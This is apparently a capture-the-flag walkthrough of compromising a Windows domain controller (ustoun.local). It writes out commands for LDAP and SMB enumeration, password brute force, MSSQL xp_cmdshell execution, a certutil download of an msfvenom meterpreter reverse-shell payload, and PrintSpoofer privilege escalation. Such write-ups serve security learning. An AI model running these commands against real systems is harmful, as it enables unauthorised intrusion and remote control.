Starting off we try default LDAP nmap scripts with null credentials against the Domain Controller.

nmap -n -sV --script "ldap* and not brute" <IP>

This reveals the domain name of ustoun.local

I then checked SMB and was successful using anonymous login with Crackmapexec. Here I used the --rid-brute option and grepped for users accounts.

crackmapexec smb <IP> -u 'a' -p '' --users --rid-brute | grep '(SidTypeUser)'

Since we now have the user account SVC-Kerb I will attempt to brute force the login over SMB with Crackmapexec.

crackmapexec smb <IP> -u 'SVC-Kerb' -p /usr/share/wordlists/rockyou.txt | grep '[+]'

From here I was unable to execute commands through SMB or resolve any new information. I logged into SYSVOL and NETLOGON and was unable to find anything at all. WinRM was not accepting these credentials and RDP was not letting me in either.

I then tried MSSQL with Impacket's mssqlclient.py and was given access.

python mssqlclient.py -port 1433 svc-kerb:superman@<IP>

From here we can run enable_xp_cmdshell and then confirm command execution with xp_cmdshell whoami.

In order to gain a decent shell from here I next generated a msfvenom metasploit executable.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4422 -f exe -o reverse.exe

Then hosted a Python SimpleHTTPServer on my attacking machine. I then used the MSSQL session to download the file with certutil.exe and copy to c:\windows\temp. I then used another command to run the reverse.exe and gain a meterpreter shell.

xp_cmdshell cmd.exe /c certutil.exe -f -urlcache -split http://<IP>/reverse.exe c:\windows\temp\reverse.exe
xp_cmdshell cmd.exe /c c:\windows\temp\reverse.exe

Dropping into Shell and checking our privileges shows we have the privilege SeImpersonatePrivilege.

This can be used to perform Juicy Potato attacks or PrintSpoofer attacks. Checking systeminfo we notice we are running Windows Server 2019.

As a result a successful Juicy Potato attack would be unlikely however, a Print Spoofer attack or CVE-2020-1048 would be more viable and likely: https://nvd.nist.gov/vuln/detail/CVE-2020-1048.

To perform this attack upload the following binary to the target system: https://github.com/dievus/printspoofer.

Once uploaded run the following command to spawn a privileged shell.

PrintSpoofer.exe -i -c cmd

From here we are able to access the Administrator's Desktop and grab the root flag.
